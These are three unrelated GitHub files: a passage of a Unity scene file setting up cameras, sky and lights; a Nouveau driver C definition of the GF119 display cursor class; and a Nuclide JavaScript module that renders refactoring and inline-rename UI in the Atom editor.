{fileID: 0} m_GameObject: {fileID: 1011816900} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 1.781, y: -1.309, z: 0.533} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 6 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!1 &1281498934 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 1281498936} - component: {fileID: 1281498935} m_Layer: 0 m_Name: CM vcam1 m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &1281498935 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1281498934} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 45e653bab7fb20e499bda25e1b646fea, type: 3} m_Name: m_EditorClassIdentifier: m_ExcludedPropertiesInInspector: - m_Script m_LockStageInInspector: m_StreamingVersion: 20170927 m_Priority: 10 m_StandbyUpdate: 2 m_LookAt: {fileID: 0} m_Follow: {fileID: 0} m_Lens: FieldOfView: 65 OrthographicSize: 10 NearClipPlane: 0.1 FarClipPlane: 5000 Dutch: 0 LensShift: {x: 0, y: 0} m_Transitions: m_BlendHint: 0 m_InheritPosition: 0 m_OnCameraLive: m_PersistentCalls: m_Calls: [] m_LegacyBlendHint: 0 m_ComponentOwner: {fileID: 519270531} --- !u!4 &1281498936 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1281498934} m_LocalRotation: {x: -0, y: -0, z: -0, w: 1} m_LocalPosition: {x: 0.2, y: 0.19888443, z: -1.239} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: - {fileID: 519270531} m_Father: {fileID: 0} m_RootOrder: 1 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!1 &1360383825 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 1360383829} - component: {fileID: 1360383828} - component: {fileID: 1360383827} - component: {fileID: 1360383826} - component: {fileID: 1360383830} m_Layer: 0 m_Name: Main Camera m_TagString: MainCamera m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &1360383826 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1360383825} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 72ece51f2901e7445ab60da3685d6b5f, type: 3} m_Name: m_EditorClassIdentifier: m_ShowDebugText: 0 m_ShowCameraFrustum: 1 m_IgnoreTimeScale: 0 m_WorldUpOverride: {fileID: 0} m_VcamUpdateMethod: 2 m_BrainUpdateMethod: 1 m_DefaultBlend: m_Style: 1 m_Time: 2 m_CustomCurve: serializedVersion: 2 m_Curve: [] m_PreInfinity: 2 m_PostInfinity: 2 m_RotationOrder: 4 m_CustomBlends: {fileID: 0} m_CameraCutEvent: m_PersistentCalls: m_Calls: [] m_CameraActivatedEvent: m_PersistentCalls: m_Calls: [] --- !u!114 &1360383827 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1360383825} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 23c1ce4fb46143f46bc5cb5224c934f6, type: 3} m_Name: m_EditorClassIdentifier: m_Version: 7 m_ObsoleteRenderingPath: 0 m_ObsoleteFrameSettings: overrides: 0 enableShadow: 0 enableContactShadows: 0 enableShadowMask: 0 enableSSR: 0 enableSSAO: 0 enableSubsurfaceScattering: 0 enableTransmission: 0 enableAtmosphericScattering: 0 enableVolumetrics: 0 enableReprojectionForVolumetrics: 0 enableLightLayers: 0 enableExposureControl: 1 diffuseGlobalDimmer: 0 specularGlobalDimmer: 0 shaderLitMode: 0 enableDepthPrepassWithDeferredRendering: 0 enableTransparentPrepass: 0 enableMotionVectors: 0 enableObjectMotionVectors: 0 enableDecals: 0 enableRoughRefraction: 0 enableTransparentPostpass: 0 enableDistortion: 0 enablePostprocess: 0 enableOpaqueObjects: 0 enableTransparentObjects: 0 enableRealtimePlanarReflection: 0 enableMSAA: 0 enableAsyncCompute: 0 runLightListAsync: 0 runSSRAsync: 0 runSSAOAsync: 0 runContactShadowsAsync: 0 runVolumeVoxelizationAsync: 0 lightLoopSettings: overrides: 0 enableDeferredTileAndCluster: 0 enableComputeLightEvaluation: 0 enableComputeLightVariants: 0 enableComputeMaterialVariants: 0 enableFptlForForwardOpaque: 0 enableBigTilePrepass: 0 isFptlEnabled: 0 clearColorMode: 0 backgroundColorHDR: {r: 0.025, g: 0.07, b: 0.19, a: 0} clearDepth: 1 volumeLayerMask: serializedVersion: 2 m_Bits: 4294967295 volumeAnchorOverride: {fileID: 0} antialiasing: 3 SMAAQuality: 2 dithering: 0 stopNaNs: 0 taaSharpenStrength: 0.6 physicalParameters: m_Iso: 200 m_ShutterSpeed: 0.005 m_Aperture: 16 m_BladeCount: 5 m_Curvature: {x: 2, y: 11} m_BarrelClipping: 0.25 m_Anamorphism: 0 flipYMode: 0 fullscreenPassthrough: 0 allowDynamicResolution: 0 customRenderingSettings: 0 invertFaceCulling: 0 probeLayerMask: serializedVersion: 2 m_Bits: 4294967295 hasPersistentHistory: 0 m_RenderingPathCustomFrameSettings: bitDatas: data1: 17229256327005 data2: 4539628424389459968 lodBias: 1 lodBiasMode: 0 lodBiasQualityLevel: 0 maximumLODLevel: 0 maximumLODLevelMode: 0 maximumLODLevelQualityLevel: 0 materialQuality: 0 renderingPathCustomFrameSettingsOverrideMask: mask: data1: 0 data2: 0 defaultFrameSettings: 0 --- !u!20 &1360383828 Camera: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1360383825} m_Enabled: 1 serializedVersion: 2 m_ClearFlags: 1 m_BackGroundColor: {r: 0.084905684, g: 0.084905684, b: 0.084905684, a: 0} m_projectionMatrixMode: 1 m_GateFitMode: 2 m_FOVAxisMode: 0 m_SensorSize: {x: 36, y: 24} m_LensShift: {x: 0, y: 0} m_FocalLength: 50 m_NormalizedViewPortRect: serializedVersion: 2 x: 0 y: 0 width: 1 height: 1 near clip plane: 0.1 far clip plane: 5000 field of view: 65 orthographic: 0 orthographic size: 5 m_Depth: -1 m_CullingMask: serializedVersion: 2 m_Bits: 4294967295 m_RenderingPath: -1 m_TargetTexture: {fileID: 0} m_TargetDisplay: 0 m_TargetEye: 3 m_HDR: 0 m_AllowMSAA: 0 m_AllowDynamicResolution: 0 m_ForceIntoRT: 1 m_OcclusionCulling: 1 m_StereoConvergence: 10 m_StereoSeparation: 0.022 --- !u!4 &1360383829 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1360383825} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0.2, y: 0.19888443, z: -1.239} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 0 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!114 &1360383830 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1360383825} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 329a80dfda2a3b947923e71a6a7ed377, type: 3} m_Name: m_EditorClassIdentifier: DefaultCursorVisible: 0 --- !u!1 &1534352104 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 1534352107} - component: {fileID: 1534352106} - component: {fileID: 1534352105} m_Layer: 0 m_Name: Scene Settings m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &1534352105 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1534352104} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 441482e8936e35048a1dffac814e3ef8, type: 3} m_Name: m_EditorClassIdentifier: m_Profile: {fileID: 11400000, guid: 37255ddf1c143ef428cf89b9493f1854, type: 2} m_StaticLightingSkyUniqueID: 3 m_SkySettings: {fileID: 2042676155} m_SkySettingsFromProfile: {fileID: 114670190289457974, guid: 37255ddf1c143ef428cf89b9493f1854, type: 2} --- !u!114 &1534352106 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1534352104} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 172515602e62fb746b5d573b38a5fe58, type: 3} m_Name: m_EditorClassIdentifier: isGlobal: 1 priority: 0 blendDistance: 0 weight: 1 sharedProfile: {fileID: 11400000, guid: 37255ddf1c143ef428cf89b9493f1854, type: 2} --- !u!4 &1534352107 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1534352104} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 2 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!114 &2042676155 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 0} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: a81bcacc415a1f743bfdf703afc52027, type: 3} m_Name: m_EditorClassIdentifier: active: 1 m_AdvancedMode: 0 rotation: m_OverrideState: 0 m_Value: 0 min: 0 max: 360 skyIntensityMode: m_OverrideState: 0 m_Value: 0 exposure: m_OverrideState: 0 m_Value: 0 multiplier: m_OverrideState: 0 m_Value: 1 min: 0 upperHemisphereLuxValue: m_OverrideState: 0 m_Value: 1 min: 0 upperHemisphereLuxColor: m_OverrideState: 0 m_Value: {x: 0, y: 0, z: 0} desiredLuxValue: m_OverrideState: 0 m_Value: 20000 updateMode: m_OverrideState: 0 m_Value: 0 updatePeriod: m_OverrideState: 0 m_Value: 0 min: 0 includeSunInBaking: m_OverrideState: 0 m_Value: 0 top: m_OverrideState: 0 m_Value: {r: 0.45342284, g: 0.27062935, b: 0, a: 1} hdr: 1 showAlpha: 0 showEyeDropper: 1 middle: m_OverrideState: 0 m_Value: {r: 0.028301895, g: 0.028301895, b: 0.028301895, a: 1} hdr: 1 showAlpha: 0 showEyeDropper: 1 bottom: m_OverrideState: 0 m_Value: {r: 0, g: 0, b: 0, a: 1} hdr: 1 showAlpha: 0 showEyeDropper: 1 gradientDiffusion: m_OverrideState: 0 m_Value: 1 --- !u!1 &2044556044 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 2044556048} - component: {fileID: 2044556047} - component: {fileID: 2044556046} m_Layer: 0 m_Name: Directional Light m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &2044556046 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 2044556044} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 7a68c43fe1f2a47cfa234b5eeaa98012, type: 3} m_Name: m_EditorClassIdentifier: m_Version: 9 m_ObsoleteShadowResolutionTier: 1 m_ObsoleteUseShadowQualitySettings: 0 m_ObsoleteCustomShadowResolution: 512 m_ObsoleteContactShadows: 0 m_PointlightHDType: 0 m_SpotLightShape: 0 m_AreaLightShape: 0 m_Intensity: 200 m_EnableSpotReflector: 0 m_LuxAtDistance: 1 m_InnerSpotPercent: 0 m_LightDimmer: 1 m_VolumetricDimmer: 1 m_LightUnit: 2 m_FadeDistance: 10000 m_AffectDiffuse: 1 m_AffectSpecular: 1 m_NonLightmappedOnly: 0 m_ShapeWidth: 0.5 m_ShapeHeight: 0.5 m_AspectRatio: 1 m_ShapeRadius: 0 m_SoftnessScale: 1 m_UseCustomSpotLightShadowCone: 0 m_CustomSpotLightShadowCone: 30 m_MaxSmoothness: 1 m_ApplyRangeAttenuation: 1 m_DisplayAreaLightEmissiveMesh: 0 m_AreaLightCookie: {fileID: 0} m_AreaLightShadowCone: 120 m_UseScreenSpaceShadows: 0 m_InteractsWithSky: 1 m_AngularDiameter: 0 m_FlareSize: 2 m_FlareTint: {r: 1, g: 1, b: 1, a: 1} m_FlareFalloff: 4 m_SurfaceTexture: {fileID: 0} m_SurfaceTint: {r: 1, g: 1, b: 1, a: 1} m_Distance: 150000000 m_UseRayTracedShadows: 0 m_NumRayTracingSamples: 4 m_FilterTracedShadow: 1 m_FilterSizeTraced: 16 m_SunLightConeAngle: 0.5 m_LightShadowRadius: 0.5 m_EvsmExponent: 15 m_EvsmLightLeakBias: 0 m_EvsmVarianceBias: 0.00001 m_EvsmBlurPasses: 0 m_LightlayersMask: 1 m_LinkShadowLayers: 1 m_ShadowNearPlane: 0.2 m_BlockerSampleCount: 24 m_FilterSampleCount: 16 m_MinFilterSize: 0.01 m_KernelSize: 5 m_LightAngle: 1 m_MaxDepthBias: 0.001 m_ShadowResolution: m_Override: 512 m_UseOverride: 1 m_Level: 1 m_ShadowDimmer: 1 m_VolumetricShadowDimmer: 1 m_ShadowFadeDistance: 10000 m_UseContactShadow: m_Override: 0 m_UseOverride: 1 m_Level: 0 m_RayTracedContactShadow: 0 m_ShadowTint: {r: 0, g: 0, b: 0, a: 1} m_PenumbraTint: 0 m_NormalBias: 0.75 m_SlopeBias: 0.5 m_ShadowUpdateMode: 0 m_BarnDoorAngle: 90 m_BarnDoorLength: 0.05 m_ShadowCascadeRatios: - 0.05 - 0.15 - 0.3 m_ShadowCascadeBorders: - 0 - 0 - 0 - 0.2 m_ShadowAlgorithm: 0 m_ShadowVariant: 3 m_ShadowPrecision: 0 useOldInspector: 0 useVolumetric: 1 featuresFoldout: 1 showAdditionalSettings: 0 --- !u!108 &2044556047 Light: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 2044556044} m_Enabled: 1 serializedVersion: 10 m_Type: 1 m_Shape: 0 m_Color: {r: 0.7877358, g: 1, b: 0.9564909, a: 1} m_Intensity: 200 m_Range: 10 m_SpotAngle: 30 m_InnerSpotAngle: 21.80208 m_CookieSize: 10 m_Shadows: m_Type: 1 m_Resolution: -1 m_CustomResolution: -1 m_Strength: 1 m_Bias: 0.05 m_NormalBias: 0.4 m_NearPlane: 0.2 m_CullingMatrixOverride: e00: 1 e01: 0 e02: 0 e03: 0 e10: 0 e11: 1 e12: 0 e13: 0 e20: 0 e21: 0 e22: 1 e23: 0 e30: 0 e31: 0 e32: 0 e33: 1 m_UseCullingMatrixOverride: 0 m_Cookie: {fileID: 0} m_DrawHalo: 0 m_Flare: {fileID: 0} m_RenderMode: 0 m_CullingMask: serializedVersion: 2 m_Bits: 4294967295 m_RenderingLayerMask: 1 m_Lightmapping: 4 m_LightShadowCasterMode: 2 m_AreaSize: {x: 1, y: 1} m_BounceIntensity: 1 m_ColorTemperature: 6570 m_UseColorTemperature: 0 m_BoundingSphereOverride: {x: 0, y: 0, z: 0, w: 0} m_UseBoundingSphereOverride: 0 m_ShadowRadius: 0 m_ShadowAngle: 0 --- !u!4 &2044556048 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 2044556044} m_LocalRotation: {x: 0.683858, y: 0.17982855, z: 0.17982855, w: 0.683858} m_LocalPosition: {x: -1.3471336, y: 1.0886965, z: -0.28129447} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 5 m_LocalEulerAnglesHint: {x: 119.466, y: -90, z: -90} --- !u!1 &2114425474 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 2114425478} - component: {fileID: 2114425477} - component: {fileID: 2114425476} m_Layer: 0 m_Name: Point Light Blue m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &2114425476 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 2114425474} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 7a68c43fe1f2a47cfa234b5eeaa98012, type: 3} m_Name: m_EditorClassIdentifier: m_Version: 9 m_ObsoleteShadowResolutionTier: 1 m_ObsoleteUseShadowQualitySettings: 0 m_ObsoleteCustomShadowResolution: 512 m_ObsoleteContactShadows: 0 m_PointlightHDType: 0 m_SpotLightShape: 0 m_AreaLightShape: 0 m_Intensity: 717.3 m_EnableSpotReflector: 0 m_LuxAtDistance: 1 m_InnerSpotPercent: 0 m_LightDimmer: 1 m_VolumetricDimmer: 1 m_LightUnit: 0 m_FadeDistance: 10000 m_AffectDiffuse: 1 m_AffectSpecular: 1 m_NonLightmappedOnly: 0 m_ShapeWidth: 0.5 m_ShapeHeight: 0.5 m_AspectRatio: 1 m_ShapeRadius: 0 m_SoftnessScale: 1 m_UseCustomSpotLightShadowCone: 0 m_CustomSpotLightShadowCone: 30 m_MaxSmoothness: 1 m_ApplyRangeAttenuation: 1 m_DisplayAreaLightEmissiveMesh: 0 m_AreaLightCookie: {fileID: 0} m_AreaLightShadowCone: 120 m_UseScreenSpaceShadows: 0 m_InteractsWithSky: 1 m_AngularDiameter: 0 m_FlareSize: 2 m_FlareTint: {r: 1, g: 1, b: 1, a: 1} m_FlareFalloff: 4 m_SurfaceTexture: {fileID: 0} m_SurfaceTint: {r: 1, g: 1, b: 1, a: 1} m_Distance: 150000000 m_UseRayTracedShadows: 0 m_NumRayTracingSamples: 4 m_FilterTracedShadow: 1 m_FilterSizeTraced: 16 m_SunLightConeAngle: 0.5 m_LightShadowRadius: 0.5 m_EvsmExponent: 15 m_EvsmLightLeakBias: 0 m_EvsmVarianceBias: 0.00001 m_EvsmBlurPasses: 0 m_LightlayersMask: 1 m_LinkShadowLayers: 1 m_ShadowNearPlane: 0.2 m_BlockerSampleCount: 24 m_FilterSampleCount: 16 m_MinFilterSize: 0.01 m_KernelSize: 5 m_LightAngle: 1 m_MaxDepthBias: 0.001 m_ShadowResolution: m_Override: 512 m_UseOverride: 1 m_Level: 1 m_ShadowDimmer: 1 m_VolumetricShadowDimmer: 1 m_ShadowFadeDistance: 10000 m_UseContactShadow: m_Override: 0 m_UseOverride: 1 m_Level: 0 m_RayTracedContactShadow: 0 m_ShadowTint: {r: 0, g: 0, b: 0, a: 1} m_PenumbraTint: 0 m_NormalBias: 0.75 m_SlopeBias: 0.5 m_ShadowUpdateMode: 0 m_BarnDoorAngle: 90 m_BarnDoorLength: 0.05 m_ShadowCascadeRatios: - 0.05 - 0.2 - 0.3 m_ShadowCascadeBorders: - 0.2 - 0.2 - 0.2 - 0.2 m_ShadowAlgorithm: 0 m_ShadowVariant: 0 m_ShadowPrecision: 0 useOldInspector: 0 useVolumetric: 1 featuresFoldout: 1 showAdditionalSettings: 0 --- !u!108 &2114425477 Light: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 2114425474} m_Enabled: 1 serializedVersion: 10 m_Type: 2 m_Shape: 0 m_Color: {r: 0, g: 0.7445183, b: 1, a: 1} m_Intensity: 57.080917 m_Range: 10 m_SpotAngle: 30 m_InnerSpotAngle: 21.80208 m_CookieSize: 10 m_Shadows: m_Type: 0 m_Resolution: -1 m_CustomResolution: -1 m_Strength: 1 m_Bias: 0.05 m_NormalBias: 0.4 m_NearPlane: 0.2 m_CullingMatrixOverride: e00: 1 e01: 0 e02: 0 e03: 0 e10: 0 e11: 1 e12: 0 e13: 0 e20: 0 e21: 0 e22: 1 e23: 0 e30: 0 e31: 0 e32: 0 e33: 1 m_UseCullingMatrixOverride: 0 m_Cookie: {fileID: 0} m_DrawHalo: 0 m_Flare: {fileID: 0} m_RenderMode: 0 m_CullingMask: serializedVersion: 2 m_Bits: 4294967295 m_RenderingLayerMask: 1 m_Lightmapping: 4 m_LightShadowCasterMode: 2 m_AreaSize: {x: 1, y: 1} m_BounceIntensity: 1 m_ColorTemperature: 6570 m_UseColorTemperature: 0 m_BoundingSphereOverride: {x: 0, y: 0, z: 0, w: 0} m_UseBoundingSphereOverride: 0 m_ShadowRadius: 0 m_ShadowAngle: 0 --- !u!4 &2114425478 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 2114425474} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0.12822466, y: 3.395, z: 1.6250343} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 7 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
{ "pile_set_name": "Github" }
/* * Copyright 2012 Red Hat Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Authors: Ben Skeggs */ #include "channv50.h" #include "rootnv50.h" #include <nvif/class.h> const struct nv50_disp_pioc_oclass gf119_disp_curs_oclass = { .base.oclass = GF110_DISP_CURSOR, .base.minver = 0, .base.maxver = 0, .ctor = nv50_disp_curs_new, .func = &gf119_disp_pioc_func, .chid = 13, };
{ "pile_set_name": "Github" }
/** * Copyright (c) 2017-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * @flow strict-local * @format */ import type {RefactorProvider} from './types'; import type {RefactorUIFactory, Store, RefactorState} from './types'; import ReactMountRootElement from 'nuclide-commons-ui/ReactMountRootElement'; import UniversalDisposable from 'nuclide-commons/UniversalDisposable'; import * as React from 'react'; import ReactDOM from 'react-dom'; import invariant from 'assert'; import {Range} from 'atom'; import {Observable} from 'rxjs'; import RenameComponent from './components/RenameComponent'; import type {Props as RenameComponentPropsType} from './components/RenameComponent'; import {MainRefactorComponent} from './components/MainRefactorComponent'; import * as Actions from './refactorActions'; const refactorUIFactories: Array<RefactorUIFactory> = [ genericRefactorUI, closeOnEscape, focusEditorOnClose, renameShortcut, ]; export function initRefactorUIs(store: Store): IDisposable { const disposables = refactorUIFactories.map(uiFn => uiFn(store)); return new UniversalDisposable(...disposables); } function genericRefactorUI(store: Store): IDisposable { const genericRenderer: GenericUIRenderer = new GenericUIRenderer(store); const inlineRenameRenderer: InlineRenameRenderer = new InlineRenameRenderer( store, ); const disposeFn: () => void = store.subscribe(() => { const state = store.getState(); if ( state.type === 'closed' || (state.type === 'open' && (state.ui === 'generic' || state.ui === 'rename')) ) { genericRenderer.renderState(state); inlineRenameRenderer.renderState(state); } }); return new UniversalDisposable( disposeFn, genericRenderer, inlineRenameRenderer, ); } function closeOnEscape(store: Store): IDisposable { let escapeSubscription: ?IDisposable = null; return new UniversalDisposable( store.subscribe(() => { const state = store.getState(); if (state.type === 'open' && escapeSubscription == null) { escapeSubscription = atom.commands.add('body', 'core:cancel', () => { store.dispatch(Actions.close()); }); } else if (state.type === 'closed') { invariant(escapeSubscription != null); escapeSubscription.dispose(); escapeSubscription = null; } }), ); } function focusEditorOnClose(store: Store): IDisposable { return new UniversalDisposable( store.subscribe(() => { const state = store.getState(); if (state.type === 'closed') { const editor = atom.workspace.getActiveTextEditor(); if (editor == null) { return; } const pane = atom.workspace.paneForItem(editor); if (pane == null) { return; } pane.activate(); pane.activateItem(editor); } }), ); } function renameShortcut(store: Store): IDisposable { const renderer: GenericUIRenderer = new GenericUIRenderer(store); return new UniversalDisposable( store.subscribe(() => { const state = store.getState(); if (state.type === 'closed') { renderer.renderState(state); return; } if (state.ui === 'rename') { const {phase} = state; switch (phase.type) { case 'pick': let renameRefactoring = null; for (const refactoring of phase.availableRefactorings) { if ( refactoring.kind === 'rename' || (refactoring.kind === 'freeform' && refactoring.disabled !== false && refactoring.name.match(/rename/i)) ) { renameRefactoring = refactoring; break; } } if (renameRefactoring == null) { atom.notifications.addWarning( 'Unable to rename at this location', ); store.dispatch(Actions.close()); } else { store.dispatch(Actions.pickedRefactor(renameRefactoring)); } break; default: renderer.renderState(state); } } }), ); } class GenericUIRenderer { _panel: ?atom$Panel; _store: Store; constructor(store: Store) { this._store = store; } renderState(state: RefactorState) { if (state.type === 'open' && state.phase.type !== 'rename') { if (this._panel == null) { const element = document.createElement('div'); this._panel = atom.workspace.addModalPanel({item: element}); } ReactDOM.render( <MainRefactorComponent appState={state} store={this._store} />, this._panel.getItem(), ); } else { this.dispose(); } } dispose() { if (this._panel != null) { const panel = this._panel; ReactDOM.unmountComponentAtNode(panel.getItem()); panel.destroy(); this._panel = null; } } } class InlineRenameRenderer { _store: Store; _disposable: ?IDisposable; constructor(store: Store) { this._store = store; } renderRenameInput( editor: atom$TextEditor, selectedText: string, providers: RefactorProvider[], symbolPosition: atom$Point, ): React.Element<React.ComponentType<RenameComponentPropsType>> { return ( <RenameComponent selectedText={selectedText} providers={providers} parentEditor={editor} store={this._store} symbolPosition={symbolPosition} /> ); } mountRenameInput( editor: atom$TextEditor, mountPosition: atom$Point, container: ReactMountRootElement, element: React.Element<React.ComponentType<RenameComponentPropsType>>, ): IDisposable { const overlayMarker = editor.markBufferRange( new Range(mountPosition, mountPosition), { invalidate: 'never', }, ); editor.decorateMarker(overlayMarker, { type: 'overlay', position: 'tail', item: container, }); return new UniversalDisposable( () => overlayMarker.destroy(), () => ReactDOM.unmountComponentAtNode(container), // The editor may not mount the marker until the next update. // It's not safe to render anything until that point, as overlayed containers // often need to measure their size in the DOM. Observable.from(editor.getElement().getNextUpdatePromise()).subscribe( () => { container.style.display = 'block'; ReactDOM.render(element, container); }, ), // After enabling `insert-mode` in RenameComponent.js for those who use // the `vim-mode-plus` package, the user has to press `esc` to return to `normal-mode`. // We execute this command manually for them here. // Since most users of this package operate by default in normal mode, // we assume that they'd like to return to this mode after executing the rename. () => atom.commands.dispatch( atom.views.getView(editor), 'vim-mode-plus:activate-normal-mode', ), ); } renderState(state: RefactorState) { if (state.type === 'open' && state.phase.type === 'rename') { const container = new ReactMountRootElement(); container.className = 'nuclide-refactorizer-rename-container'; const { providers, editor, selectedText, mountPosition, symbolPosition, } = state.phase; const renameElement = this.renderRenameInput( editor, selectedText, providers, symbolPosition, ); this._disposable = this.mountRenameInput( editor, mountPosition, container, renameElement, ); } else { this.dispose(); } } dispose(): void { if (this._disposable != null) { this._disposable.dispose(); this._disposable = null; } } }
{ "pile_set_name": "Github" }
